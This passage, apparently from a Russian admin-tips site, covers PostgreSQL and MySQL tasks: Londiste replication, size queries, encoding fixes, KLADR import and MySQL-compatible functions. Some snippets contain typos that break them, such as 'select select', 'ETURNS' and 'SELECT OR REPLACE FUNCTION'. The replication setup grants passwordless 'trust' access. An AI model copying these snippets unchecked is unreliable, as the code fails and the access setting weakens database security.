       ### pgbouncer listen here
       connect = 127.0.0.1:5433
       protocol = pgsql
    
    Версия stunnel должна быть не ниже 4.27, так как только начиная с данной версии
    есть поддержка protocol = pgsql.
    
    Основная необходимость в SSL в моём случае - сжатие, а не шифрование. 
    
     
    ----* Установка Londiste, системы асинхронной мастер-слэйв репликации PostgreSQL (доп. ссылка 1)   Автор: Sergey Konoplev  [комментарии]
     
    Инструкция содержит подробное пошаговое описание процесса настройки репликации
    на основе Londiste, системы асинхронной мастер-слэйв репликации из пакета
    SkyTools от Skype.
    
    Допустим есть 2 сервера - host1 и host2. На host1 работает кластер с одной или
    несколькими базами, которые необходимо реплицировать на host2. Другими словами
    host1 будет мастером, а host2 слейвом.
    
    Прежде всего необходимо установить пакет SkyTools. Его исходники можно найти на
    официальном сайте проекта
    http://developer.skype.com/SkypeGarage/DbProjects/SkyTools или в wiki
    http://wiki.postgresql.org/wiki/Skytools . Там же найдёте всю документацию и
    ссылки на дополнительные материалы. Советую обращаться к ним если захотите
    узнать дополнительные подробности о вещах, которых я буду в данной статье
    касаться поверхностно.
    
    Итак, всё ПО необходимое для репликации установлено, но, прежде чем начать
    настройку, хочу рассказать о принципах работы Londiste в очень общих словах.
    
    Londiste базируется на механизме очередей PgQ, который тоже входит в пакет
    SkyTools. Информация об изменениях данных попадает в эти очереди из
    спец-триггеров, навешиваемых на реплицируемые таблицы. PgQ, в свою очередь,
    основывается на пакетной обработке и использует так называемый ticker, утилиту
    (демон), генерирующую события готовности пачек данных. Эти события слушает
    демон Londiste и по их наступлению переносит пачки с мастера на слейв.
    
    Репликация на базе Londiste может работать по схеме - один мастер на несколько
    слейвов. В связи с этим я буду делать пометки, различающие установку репликации
    первого слейва и последующих. Также я буду различать репликацию отдельной базы
    и кластера целиком.
    
    Описанный процесс не требует даунтайма.
    
    Замечание: В данном описании будут часто встречаются обобщения более узких
    ситуаций, которые не тестировались во всех возможных вариантах. Так что прежде
    чем внедрять её в продакшн, тщательно протестируйте ваш процесс. Если вы
    найдёте какую-нибудь ошибку или не рабочую ситуацию, буду благодарен если сообщите.
    
    
    1. Первым делом подготовим мастер-сервер
    
    1.1. Права на мастере
    
    В данном примере все утилиты будут работать под системным пользователем
    postgres. Операции с БД я доверю также пользователю postgres (который в базе).
    Но в реальности будет правильнее сделать отдельного пользователя для этих
    утилит, смотрите по вашей ситуации.
    
    Дадим пользователю postgres доверительный доступ (без пароля) к базам на мастере со слейва.
    
    /var/lib/postgres/8.4/data/pg_hba.conf:
    
       ...
       # TYPE DATABASE USER CIDR-ADDRESS METHOD
       # host2 IP
       host db1 postgres 192.168.10.2/32 trust
       .. .
    
    Если реплицируются конкретные базы, а не весь комплект, то добавьте такие
    записи для каждой из них. В случае же репликации всех БД достаточно одной
    записи, где в колонке DATABASE указываем all. Не забудьте сделать reload серверу.
    
    1.2. Настрока ticker-а
    
    Далее создадим файл конфигурации ticker-а.
    /etc/skytools/db1-ticker.ini:
    
       [pgqadm]
       job_name = db1-ticker
       db = dbname=db1
    
       # Задержка между запусками обслуживания (ротация очередей и т.п.) в секундах
       maint_delay = 600
    
       # Задержка между проверками наличия активности (новых пакетов данных) в секундах
       loop_delay = 0.1
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
    Создайте подобные конфигурации для каждой реплицируемой базы.
    
    1.3. Запускаем ticker
    
    Теперь необходимо инсталлировать служебный код (SQL) и запустить ticker как
    демона для каждой из баз. Делается это с помощью утилиты pgqadm.py следующими командами:
    
       python pgqadm.py /etc/skytools/db1-ticker.ini install
       python pgqadm.py /etc/skytools/db1-ticker.ini ticker -d
    
    Проверим, что в логах (/var/log/skytools/db1-tickers.log) всё нормально. На
    данном этапе там должны быть редкие записи (раз в минуту).
    
    
    2. Далее настроим слейв
    
    2.1. Убедимся что Londiste остановлен
    
       python londiste.py -s /etc/skytools/db1-londiste.ini
    
    Повторите для всех реплицируемых баз.
    
    2.2. Востанавливаем схему базы
    
    Замечание: В данном примере подразумевается что целевая система не содержит баз
    с такими же именами как у реплицируемых.
    
    Если реплицируются отдельные базы, то прежде всего необходимо создать
    пользователей, идентичных тем, которые работали с ними на мастере. Далее
    переносим схемы этих баз на слейв (повторяем для каждой):
    
       pg_dump -s -C -h host1 -U postgres db1 |
       psql -U postgres 1>db1-restore.stdout 2>db2-restore.stderr
    
    Если реплицируем все базы целиком, то достаточно один раз сделать так:
    
       pg_dumpall -s -h host1 -U postgres |
       psql -U postgres 1>all-restore.stdout 2>all-restore.stderr
    
    Убедимся, что в лог-файлах *-restore.stderr отсутствуют ошибки кроме "роль
    postgres уже существует" (ч.г. не могу понять для чего вообще pg_dumpall дампит
    эту роль).
    
    
    2.3. Создаём конфигурацию репликатора
    
    Для каждой из реплицируемых баз создадим конфигурационные файлы:
    /etc/skytools/db1-londiste.ini:
    
       [londiste]
       job_name = db1-londiste
    
       provider_db = dbname=db1 port=5432 host=host1
       subscriber_db = dbname=db1
    
       # Это будет использоваться в качестве SQL-идентификатора, т.ч. не используйте
       # точки и пробелы.
       # ВАЖНО! Если есть живая репликация на другой слейв, именуем очередь так-же
       pgq_queue_name = db1-londiste-queue
    
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
       log_size = 5242880
       log_count = 3
    
    2.4. Устанавливаем Londiste в базы на мастере и слейве
    
    Теперь необходимо установить служебный SQL для каждой из созданных в предыдущем
    пункте конфигураций.
    
    Устанавливаем код на стороне мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider install
    
    и подобным образом на стороне слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber install
    
    После этого пункта на мастере будут созданы очереди для репликации.
    
    
    2.5. Запускаем процессы Londiste
    
    Для каждой реплицируемой базы делаем:
    
       python londiste.py /etc/skytools/db1-londiste.ini replay -d
    
    Таким образом запустятся слушатели очередей репликации, но, т.к. мы ещё не
    указывали какие таблицы хотим реплицировать, они пока будут работать в холостую.
    
    Убедимся что в логах нет ошибок (/var/log/skytools/db1-londistes.log).
    
    2.6. Добавляем реплицируемые таблицы
    
    Для каждой конфигурации указываем что будем реплицировать с мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add --all
    
    и что со слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add --all
    
    В данном примере я использую спец-параметр --all, который означает все таблицы,
    но вместо него вы можете перечислить список конкретных таблиц, если не хотите
    реплицировать все.
    
    2.7. Добавляем реплицируемые последовательности (sequence)
    
    Так же для всех конфигураций.
    
    Для мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add-seq --all
    
    Замечание: В версиях SkyTools до 2.1.9 включительно была обнаружена ошибка при
    добавлением последовательностей на мастере используя параметр --all, т.ч. если
    у вас такая версия используйте следующий хак:
    
        for seq in $(
        psql -t -A -U postgres toozla -c "\ds" |
        awk -F '|' '{ if ($1 != "pgq" && $1 != "londiste") { print $1"."$2 } }');
        do
        python londiste.py /etc/skytools/db1-londiste.ini provider add-seq $seq;
        done
    
    
    
    Для слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add-seq --all
    
    Точно также как и с таблицами можно указать конкретные последовательности вместо --all.
    
    
    2.8. Проверка
    
    Итак, всё что надо сделано. Теперь Londiste запустит так называемый bulk copy
    процесс, который массово (с помощью COPY) зальёт присутствующие на момент
    добавления таблиц данные на слейв, а затем перейдёт в состояние обычной репликации.
    
    Мониторим логи на предмет ошибок:
    
       less /var/log/skytools/db1-londiste.log
    
    Если всё хорошо, смотрим состояние репликации. Данные уже синхронизированы для
    тех таблиц, где статус отображается как "ok".
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables
    
       Table State
       public.table1 ok
       public.table2 ok
       public.table3 in-copy
       public.table4 -
       public.table5 -
       public.table6 -
       ...
    
    Для удобства представляю следующий трюк с уведомление в почту об окончании
    первоначального копирования (мыло поменять на своё ;):
    
       (
       while [ $(
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables |
       tail -n+2 | awk '{print $2}' | grep -v ok | wc -l) -ne 0 ];
       do sleep 60; done; echo '' | mail -s 'Replication done EOM' user@domain.com
       ) &
    
    Ссылки на публикации, которые мне помогли в написании этой статьи:
    
       SkyTools - PostgreSQL Wiki http://wiki.postgresql.org/wiki/Skytools
       SkyTools - Skype Developer Zone https://developer.skype.com/SkypeGarage/DbProjects/SkyTools
       PostgreSQL master slave(s) asynchronous replication - tail -f /dev/dim http://tapoueh.org/skytools.html
    
     
    ----* Определение размеров объектов БД в PostgreSQL (доп. ссылка 1)   Автор: Konstantin A Mironov  [комментарии]
     
    Размер БД:
       select pg_database_size('имя базы');
    
    Размер таблицы БД:
       select select pg_relation_size('имя таблицы');
    
    Полный размер таблицы с индексами:
       select pg_total_relation_size('имя таблицы');
    
    Размер столбца:
       select pg_column_size('имя стобца') from 'имя таблицы';
    
    Состояние всех настроек:
       select pg_show_all_settings();
    
     
    ----* Решение проблем с наличием в MySQL записей с битой кодировкой   [обсудить]
     
    Способ перекодирования выборочных записей в MySQL, содержащих данные в битой кодировке.
    Перекодирование ошибочно добавленных нескольких записей с UTF-8 текстом 
    в таблицу в которой данные находятся в кодировке cp1251 (DEFAULT CHARSET cp1251).
    
    
    UPDATE table SET column=CONVERT(CONVERT(CONVERT(column USING binary) USING
    utf8) USING cp1251) WHERE id=123;
    
    Сокращенный вариант, внешний CONVERT можно убрать, MySQL знает, что данные в таблице в cp1251:
    
    UPDATE table SET column=CONVERT(CONVERT(column USING binary) USING utf8) WHERE id=123;
    
     
    ----* Как добиться, чтобы в запросах LIKE 'что%' использовался индекс ? (доп. ссылка 1)   Автор: Олег Бартунов  [комментарии]
     
    Из-за сложности и многообразия locale в постгресе запрещено использовать индекс
    для запросов вида LIKE 'что%' для всех locale кроме 'C'. А что делать если хочется ? 
    В 8.01 стало возможным использовать operator class [1] !  Мы будем использовать
    varchar_pattern_ops, B-tree индекс
    в этом случае, будет строиться без использования collation правил из locale, а
    на основе сравнения буквы с буквой.
    
       test=#  \d ru_words 
           w      | text | 
           Indexes:
              "w_idx" btree (lower(w) varchar_pattern_ops)
    
       test=# create index w_idx on ru_words (lower(w) varchar_pattern_ops);
          CREATE INDEX
    
       test=# vacuum analyze test;
    
       test=# explain analyze select w from ru_words where lower(w) like 'что%';
    
           Index Scan using w_idx on ru_words...
             Index Cond: ((lower(w) ~>=~ 'что'::character varying) AND (lower(w) ~<~ 'чтп'::character varying))
             Filter: (lower(w) ~~ 'что%'::text)
    
     
    ----* Функции для преобразования unix timestamp в Pg timestamp для PostgreSQL (доп. ссылка 1)   Автор: Олег Бартунов  [обсудить]
     
        SELECT TIMESTAMP WITH TIME ZONE 'epoch' + 1109796233 * INTERVAL '1 second';
    
    CREATE OR REPLACE FUNCTION ts2int(timestamp without time zone) RETURNS int AS
    $$
    select extract('epoch' from $1)::integer;
    $$ LANGUAGE SQL STRICT STABLE;
    
    CREATE OR REPLACE FUNCTION int2ts(integer) RETURNS timestamp AS
    $$
    SELECT ( TIMESTAMP WITH TIME ZONE 'epoch' + $1 * INTERVAL '1second')::timestamp without time zone;
    $$ LANGUAGE SQL STRICT STABLE;
    
     
    ----* Полнотекстовый поиск в PostgreSQL (Tsearch2) (доп. ссылка 1)   [комментарии]
     
      ALTER TABLE companies 
      ADD COLUMN fti_business tsvector;
    
      UPDATE companies SET fti_business = to_tsvector('default',business_model);
    
      VACUUM FULL ANALYZE companies;
    
      CREATE INDEX idx_fti_business ON companies USING gist(fti_business);
    
      CREATE TRIGGER tg_fti_companies 
      BEFORE UPDATE OR INSERT ON companies
      FOR EACH ROW EXECUTE PROCEDURE
        tsearch2(fti_business, business_model);
    
      SELECT company_name, business_model
      FROM companies
      WHERE fti_business @@
        to_tsquery('default','bushing | engine');
    
     
    ----* Как реализовать "COPY table TO stdout" на perl используя модуль Pg.   [обсудить]
     
    Для просмотра всего содержимого таблицы оптимальнее использовать COPY TO, вместо SELECT.
    $conn->exec('COPY table (in, out) TO stdout');
    die $conn->errorMessage if($conn->errorMessage);
    $conn->getline($cur_line, 512);
    while ($cur_line ne '\\.'){
          my ($in, $out) = split(/\t/, $cur_line);
          ....
          $conn->getline($cur_line, 512); 
    }
    $conn->endcopy;
    
     
    ----* Как реализовать "COPY table FROM stdin" на perl используя модуль Pg.   [обсудить]
     
    COPY FROM вместо INSERT позволяет значительно оптимизировать помещение данных в базу.
    $conn->exec('COPY traffic (src_ip, dst_ip, in_octets, out_octets) FROM stdin;');
    die $conn->errorMessage if($conn->errorMessage);
    while(...) { 
       $conn->putline("$src\t$dst\t$in\t$out\n");
    }
    $conn->putline("\\.\n");
    $conn->endcopy;
    
     
    ----* Как через SELECT запрос в PostgreSQL посмотреть структуру таблицы.   [обсудить]
     
    SELECT a.attname, format_type(a.atttypid, a.atttypmod), a.attnotnull, a.atthasdef, a.attnum 
      FROM pg_class c, pg_attribute a 
      WHERE c.relname ='имя таблицы' AND a.attnum > 0 AND a.attrelid = c.oid ORDER BY a.attnum; 
    
     
    ----* Как поменять или установить пароль для пользователя в PostgreSQL   [комментарии]
     
    ALTER USER имя_пользователя WITH ENCRYPTED PASSWORD 'пароль';
    В pg_hba.conf в качестве метода аутентификации должен использоваться md5.
    
     
    ----* Как выполнить в PostgreSQL запрос вида "pivot table" и использовать условие при выводе данных. (доп. ссылка 1)   [обсудить]
     
    Если значение поля vendor = 1,2 или 3 суммируем только значения sales для этих номеров.
    SELECT product,
      SUM(CASE vendor WHEN 1 THEN sales ELSE 0 END) AS "pink ",  
      SUM(CASE vendor WHEN 2 THEN sales ELSE 0 END) AS "brown",  
      SUM(CASE vendor WHEN 3 THEN sales ELSE 0 END) AS "green",
      SUM(sales) AS "sum of sales" 
          FROM sales GROUP BY product;
    Если необходимо сделать выборку по промежутку, то нужно использовать:
        CASE WHEN vendor > 1 AND vendor < 5 THEN sales ELSE 0 END
    
     
    ----* Как добавить комментарии к таблицам в PostgreSQL   [обсудить]
     
    COMMENT ON test IS 'Это тестовая таблица.';
    COMMENT ON DATABASE test IS 'Тестовая БД';
    COMMENT ON INDEX test_index IS 'Индекс тестовой базы по id';
    COMMENT ON COLUMN test.id IS 'Ключевое поле';
    
     
    ----* Как в Shell выполнить SQL запрос или получить список баз и таблиц (PostgreSQL)   [комментарии]
     
    Список баз:
        psql -A -q -t -c "select datname from pg_database" template1 | grep -v '^template1$'
    Список таблиц в базе db_name :
        echo '\d'| psql -A -q -t db_name |cut -d'|' -f1
    
     
    ----* Как включить автоматическую проверку значений в PostgreSQL   [обсудить]
     
    Для запрещения нулевых значений в поле id в CREATE TABLE:
       CONSTRAINT "test_tab_id" CHECK (id > 0)
    Или если таблица уже существует:
       ALTER TABLE test_tab ADD CONSTRAINT "test_tab_id" CHECK (id > 0);
    
     
    ----* Как посмотреть в PostgreSQL размер таблиц на диске и число записей в них   [обсудить]
     
    SELECT relname, relpages*8192, reltuples FROM pg_class
         WHERE NOT relname LIKE 'pg_%' ORDER BY relpages DESC;
    
     
    ----* Как сопоставить в PostgreSQL цифровые имена файлов и директорий с символьными именами таблиц и баз.   [обсудить]
     
    Сопоставление имен директорий с названиями баз:
       select oid,datname from pg_database;
    Сопоставление имен таблиц в текущей базе к именам файлов:
       select relname, relfilenode from pg_class;
    
     
    ----* Как получить уникальный системный номер записи в PostgreSQL   [обсудить]
     
    Поле с именем OID всегда содержит уникальный номер записи.
    select oid from table;
    
     
    ----* маленькая заметка к возрастающим ключам   Автор: Yuri A. Kabaenkov  [обсудить]
     
    в последних версиях pgsql существует тип данных serial
    которой автоматически создает последовательность.
    тоесть CREATE TABLE test (
         a serial
    );
    
     
    ----* Как осуществить автоматическую проверку новых данных в PostgreSQL   [обсудить]
     
    CREATE RULE table_id_update AS ON UPDATE TO table 
       WHERE OLD.id != NEW.id 
       DO INSTEAD NOTHING; 
    
     
    ----* Как организовать таблицу с подробной историей всех изменений в PostgreSQL   [комментарии]
     
    CREATE RULE table_update AS ON UPDATE TO table 
       DO INSERT INTO table_log ( 
          id, 
          titile, 
          contents, 
          pguser, 
          date_modified 
        ) 
        VALUES ( 
           OLD.id, 
           OLD.title, 
           OLD.description, 
           getpgusername(), 
           'now'::text 
       ); 
    
     
    ----* Преобразование дат (сек. с 1970 и timestamp) в PostgreSQL   [комментарии]
     
    Из еpoch в timestamp:
       'epoch'::timestamptz  + '$epoch_time sec'::interval
       или $epoch_time::int4::abstime::timestamptz
       или timestamptz 'epoch' + '$epoch_time second'
    
    Из timestamp в epoch:
       date_part('epoch', timestamp_field) 
    
     
    ----* Как создать индекс в PostgreSQL   [обсудить]
     
    Создадим индекс для двух полей login и price в таблице item. 
    При использовании операций больше или меньше нужно использовать btree индексы, 
    hash для операций '='. Несколько полей для индексирования можно указывать только 
    для btree.
    Например:
    CREATE UNIQUE INDEX "index_item" on "item" using btree ( "login" "varchar_ops",
    "price" "integer_ops");
    CREATE INDEX "index_item2" on "item" using hash ( "login" ); 
    
     
    ----* Как автоматически генерировать возрастающие ключи   [обсудить]
     
    CREATE SEQUENCE next_item start 1 increment 1 maxvalue 2147483647 minvalue 1 cache 1;
    или CREATE SEQUENCE next_item;
    CREATE TABLE item (
    	"id"                integer DEFAULT nextval('next_item') PRIMARY KEY,
    	.....
    );
    
     
    ----* Как ограничить число элементов выдаваемых SELECT в PostgreSQL   [комментарии]
     
    Использовать директиву "LIMIT сколько_записей_выводить OFFSET с_какой_записи_начинать_вывод":
    Например, вывести 10 записей удовлетворяющих запросу, начиная с 50:
    SELECT * FROM table LIMIT 10 OFFSET 50;
    
     
    ----* Импорт КЛАДР в базу данных PostgreSQL   Автор: Легостаев Вениамин  [комментарии]
     
    Конвертация КЛАДР (классификатор адресов России) в формат sqlite.
    
    Скачиваем КЛАДР с официального сайта
    
        wget http://www.gnivc.ru/html/gnivcsoft/KLADR/Base.7z
    
    Устанавливаем архиватор 7z
    
        sudo yum install p7zip
    
    Распаковываем архив
    
        7za e Base.7z
    
    Устанавливаем sqlite
    
        sudo yum install sqlite
    
    Устанавливаем sqlite3-dbf
    
        sudo yum install sqlite3-dbf
    
    Запускаем sqlite3
    
        sqlite3 my_kladr.db
    
    В sqlite загружаем модуль libspatialite
    
        .load libspatialite.so.2
    
    Импорт данных из КЛАДР в sqlite
    
        CREATE VIRTUAL TABLE virt_street_tbl USING VirtualDbf('/home/developer/kladr/STREET.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_socrbase_tbl USING VirtualDbf('/home/developer/kladr/SOCRBASE.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_kladr_tbl USING VirtualDbf('/home/developer/kladr/KLADR.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_flat_tbl USING VirtualDbf('/home/developer/kladr/FLAT.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_doma_tbl USING VirtualDbf('/home/developer/kladr/DOMA.DBF', 'CP866');
        CREATE VIRTUAL TABLE virt_altnames_tbl USING VirtualDbf('/home/developer/kladr/ALTNAMES.DBF', 'CP866');
    
        create table street_tbl as select * from virt_street_tbl;
        create table socrbase_tbl as select * from virt_socrbase_tbl;
        create table kladr_tbl as select * from virt_kladr_tbl;
        create table flat_tbl as select * from virt_flat_tbl;
        create table doma_tbl as select * from virt_doma_tbl;
        create table altnames_tbl as select * from virt_altnames_tbl;
    
        drop table virt_street_tbl;
        drop table virt_socrbase_tbl;
        drop table virt_kladr_tbl;
        drop table virt_flat_tbl;
        drop table virt_doma_tbl;
        drop table virt_altnames_tbl;
    
    Выходим из sqlite
    
        .exit
    
    
    Результат: файл my_kladr.db содержит КЛАДР в формате sqlite.
    
    
    Подключение файла my_kladr.db к базе данных PostgreSQL
    
    Скачиваем модуль sqlite_fdw
    
        wget https://github.com/gleu/sqlite_fdw/archive/master.zip
     
    Устанавливаем unzip
    
        sudo yum install unzip
    
    Распаковываем архив
    
        unzip master
    
    Заходим в каталог sqlite_fdw-master
    
        cd sqlite_fdw-master
    
    Устанавливаем модуль
    
        sudo PATH=/usr/pgsql-9.3/bin/:$PATH make USE_PGXS=1 install
    
    Входим в систему из-под пользователя postgres
    
        sudo su - postgres
    
    Входим в postgresql
    
        psql
    
    Выбираем базу данных
    
        \\c YouDatabase
    
    Создаем расширение
    
        CREATE EXTENSION sqlite_fdw;
    
    Создаем сервер
    
        CREATE SERVER sqlite_kladr_server
        FOREIGN DATA WRAPPER sqlite_fdw
        OPTIONS (database 'path_to_my_kladr.db');
    
    Создаем схему
    
        create schema kladr;
    
    Создаем внешние таблицы
    
        CREATE FOREIGN TABLE kladr.street_tbl(
           id bigint,
           name varchar,
           type varchar,
           code varchar,
           c2 varchar,
           c3 varchar,
           c4 varchar,
           c5 varchar)
        SERVER sqlite_kladr_server
        OPTIONS (table 'street_tbl');
    
        CREATE FOREIGN TABLE kladr.socrbase_tbl(
           id bigint,
           id1 bigint,
           short_name varchar,
           full_name varchar,
           id3 bigint)
        SERVER sqlite_kladr_server
        OPTIONS (table 'socrbase_tbl');
    
        CREATE FOREIGN TABLE kladr.kladr_tbl(
           id bigint,
           name varchar,
           type varchar,
           code varchar,
           c4 varchar,
           c5 varchar,
           c6 varchar,
           c7 bigint)
        SERVER sqlite_kladr_server
        OPTIONS (table 'kladr_tbl');
    
        CREATE FOREIGN TABLE kladr.doma_tbl(
           id bigint,
           house varchar,
           c1 varchar,
           c2 varchar,
           c3 varchar,
           c4 varchar,
           c5 varchar,
           c6 varchar,
           c7 varchar)
        SERVER sqlite_kladr_server
        OPTIONS (table 'doma_tbl');
    
        CREATE FOREIGN TABLE kladr.altnames_tbl(
           id bigint,
           code1 varchar,
           code2 varchar,
           c1 varchar)
        SERVER sqlite_kladr_server
        OPTIONS (table 'altnames_tbl');
    
    Проверяем работу
    
        select * from kladr.kladr_tbl limit 10;
    
    Результат: Кладр подключен к базе данных PostgreSQL. 
    
     

       PlPerl и PlSQL

    ----* Реализация для PostgreSQL некоторых популярных функций из состава MySQL (доп. ссылка 1)   Автор: Pavel Stěhule  [комментарии]
     
    Реализация MySQL функции field для PostgreSQL, позволяющей организовать условную сортировку вывода:
    
       CREATE OR REPLACE FUNCTION field(text, variadic text[])
       RETURNS int AS $$
         SELECT i
            FROM generate_subscripts($2,1) g(i)
           WHERE $1 = $2[i]
           UNION ALL
           SELECT 0
           LIMIT 1
       $$ LANGUAGE sql STRICT;
    
    Результат использования:
    
       select * from pet order by field(species, 'cat', 'dog', 'bird');
    
       | name     | owner  | species | sex  | birthday   | death      |
    
       | Fluffy   | Harold | cat     | f    | 1993-02-04 | NULL       |
       | Claws    | Gwen   | cat     | m    | 1994-03-17 | NULL       |
       | Buffy    | Harold | dog     | f    | 1989-05-13 | NULL       |
       | Fang     | Benny  | dog     | m    | 1990-08-27 | NULL       |
       | Bowser   | Diane  | dog     | m    | 1989-08-31 | 1995-07-29 |
       | Chirpy   | Gwen   | bird    | f    | 1998-09-11 | NULL       |
       | Whistler | Gwen   | bird    | NULL | 1997-12-09 | NULL       |
    
    Результаты портирования некоторых строковых функций MySQL, которые можно
    использовать для упрощения
    переноса программ с MySQL на PostgreSQL:
    
    concat
    
       CREATE OR REPLACE FUNCTION concat(variadic str text[])
       RETURNS text AS $$
       SELECT array_to_string($1, '');
       $$ LANGUAGE sql
    
    concat_ws
    
       CREATE OR REPLACE FUNCTION concat_ws(separator text, variadic str text[])
       RETURNS text as $$
       SELECT array_to_string($2, $1);
       $$ LANGUAGE sql;
    
    elt
    
       CREATE OR REPLACE FUNCTION elt(int, VARIADIC text[])
       RETURNS text AS $$
       SELECT $2[$1];
       $$ LANGUAGE sql;
    
    find_in_set
    
       CREATE OR REPLACE FUNCTION find_in_set(str text, strlist text)
       RETURNS int AS $$
       SELECT i
          FROM generate_subscripts(string_to_array($2,','),1) g(i)
         WHERE (string_to_array($2, ','))[i] = $1
         UNION ALL
         SELECT 0
         LIMIT 1
       $$ LANGUAGE sql STRICT;
    
    hex
    
       CREATE OR REPLACE FUNCTION hex(int)
       RETURNS text AS $$
       SELECT upper(to_hex($1));
       $$ LANGUAGE sql;
      
       CREATE OR REPLACE FUNCTION hex(bigint)
       RETURNS text AS $$
       SELECT upper(to_hex($1));
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION hex(text)
       RETURNS text AS $$
       SELECT upper(encode($1::bytea, 'hex'))
       $$ LANGUAGE sql;
    
    char, напирмер: select "char"(77,121,83,81,'76');
    
       CREATE OR REPLACE FUNCTION "char"(VARIADIC int[])
       ETURNS text AS $$
       SELECT array_to_string(ARRAY(SELECT chr(unnest($1))),'')
       $$ LANGUAGE sql;
    
    lcase
    
       CREATE OR REPLACE FUNCTION lcase(str text)
       RETURNS text AS $$
       SELECT lower($1)
       $$ LANGUAGE sql;
    
    left 
    
       CREATE OR REPLACE FUNCTION left(str text, len int)
       RETURNS text AS $$
       SELECT substring($1 FROM 1 FOR $2)
       $$ LANGUAGE sql;
    
    locate 
    
       CREATE OR REPLACE FUNCTION locate(substr text, str text)
       RETURNS int AS $$
       SELECT position($1 in $2)
       $$ LANGUAGE sql;
    
    reverse
    
       CREATE OR REPLACE FUNCTION reverse(str text)
       RETURNS text AS $$
       SELECT array_to_string(ARRAY(SELECT substring($1 FROM i FOR 1)
                                    FROM generate_series(length($1),1,-1) g(i)),
                              '')
       $$ LANGUAGE sql;
    
    right
    
       CREATE OR REPLACE FUNCTION right(str text, len int)
       RETURNS text AS $$
       SELECT substring($1 FROM length($1) - $2 FOR $2)
       $$ LANGUAGE sql;
    
    space
    
       CREATE OR REPLACE FUNCTION space(n int)
       RETURNS text AS $$
       SELECT repeat(' ', $1)
       $$ LANGUAGE sql;
    
    strcmp
    
       CREATE OR REPLACE FUNCTION strcmp(text, text)
       RETURNS int AS $$
       SELECT CASE WHEN $1 < $2 THEN -1
       WHEN $1 > $2 THEN 1
       ELSE 0 END;
       $$ LANGUAGE sql;
    
    substring_index
    
       CREATE OR REPLACE FUNCTION substring_index(str text, delim text, count int)
       RETURNS text AS $$
       SELECT CASE WHEN $3 > 0 
       THEN array_to_string((string_to_array($1, $2))[1:$3], $2)
       ELSE array_to_string(ARRAY(SELECT unnest(string_to_array($1,$2))
                                 OFFSET array_upper(string_to_array($1,$2),1) + $3),
                         $2)
       END
       $$ LANGUAGE sql;
    
    ucase
    
       CREATE OR REPLACE FUNCTION ucase(str text)
       RETURNS text AS $$
       SELECT upper($1)
       $$ LANGUAGE sql;
    
       CREATE CAST (bytea AS text) WITHOUT FUNCTION AS ASSIGNMENT;
    
    unhex
    
       CREATE OR REPLACE FUNCTION unhex(text)
       RETURNS text AS $$
       SELECT decode($1, 'hex')::text;
       $$ LANGUAGE sql;
    
    
    Функции для работы с датой и временем:
    
    adddate, пример select adddate('2008-01-02','31 day');
    
       CREATE OR REPLACE FUNCTION adddate(date, interval)
       RETURNS date AS $$
       SELECT ($1 + $2)::date; $$
       LANGUAGE sql;
    
    curdate
    
       CREATE OR REPLACE FUNCTION curdate()
       RETURNS date AS $$
       SELECT CURRENT_DATE
       $$ LANGUAGE sql;
    
    convert_tz
    
       CREATE OR REPLACE FUNCTION convert_tz(dt timestamp, from_tz text, to_tz text)
       RETURNS timestamp AS $$
       SELECT ($1 AT TIME ZONE $2) AT TIME ZONE $3;
       $$ LANGUAGE sql;
    
    date
    
       CREATE OR REPLACE FUNCTION date(anyelement)
       RETURNS date AS $$
       SELECT $1::date;
       $$ LANGUAGE sql;
    
    datediff
    
       SELECT OR REPLACE FUNCTION datediff(date, date)
       RETURNS int AS $$
       SELECT $1 - $2
       $$ LANGUAGE sql;
    
    date_add
    
       CREATE OR REPLACE FUNCTION date_add(date, interval)
       RETURNS date AS $$
       SELECT adddate($1, $2)
       $$ LANGUAGE sql;
    
    date_format
    
       CREATE OR REPLACE FUNCTION date_format(date, text)
       RETURNS text AS $$
       SELECT to_char($1, _mysqlf_pgsql($2))
       $$ LANGUAGE sql;
    
       CREATE OR REPLACE FUNCTION date_format(timestamp, text)
       RETURNS text AS $$
       SELECT to_char($1, _mysqlf_pgsql($2))
       $$ LANGUAGE sql;
    
    date_sub
    
       CREATE OR REPLACE FUNCTION date_sub(date, interval)
       RETURNS date AS $$
       SELECT ($1 - $2)::date;
       $$ LANGUAGE sql;
    
    dayofmonth
    
       CREATE OR REPLACE FUNCTION dayofmonth(date)
       RETURNS int AS $$
       SELECT EXTRACT(day from $1)::int
       $$ LANGUAGE sql;
    
    day
    
       CREATE OR REPLACE FUNCTION day(date)
       RETURNS int AS $$
       SELECT dayofmonth($1)
       $$ LANGUAGE sql;
    
    dayname
    
       CREATE OR REPLACE FUNCTION dayname(date)
       RETURNS text AS $$
       SELECT to_char($1, 'TMDay')
       $$ LANGUAGE sql;
    
    dayofweek
    
       CREATE OR REPLACE FUNCTION dayofweek(date)
       RETURNS int AS $$
       SELECT EXTRACT(dow FROM $1)::int
       $$ LANGUAGE sql;
    
    dayofyear
    
       CREATE OR REPLACE FUNCTION dayofyear(date)
       RETURNS int AS $$
       SELECT EXTRACT(doy FROM $1)::int
       $$ LANGUAGE sql;
    
    from_days
    
       CREATE OR REPLACE FUNCTION from_days(int)
       RETURNS date AS $$
       SELECT date '0001-01-01bc' + $1
       $$ LANGUAGE sql;
    
    from_unixtime
    
       CREATE OR REPLACE FUNCTION from_unixtime(double precision)
       RETURNS timestamp AS $$
       SELECT to_timestamp($1)::timestamp
       $$ LANGUAGE sql;
    
    _mysqlf_pgsql
    
       CREATE OR REPLACE FUNCTION _mysqlf_pgsql(text)
       RETURNS text AS $$
       SELECT array_to_string(ARRAY(SELECT s
       FROM (SELECT CASE WHEN substring($1 FROM i FOR 1) <> '%'
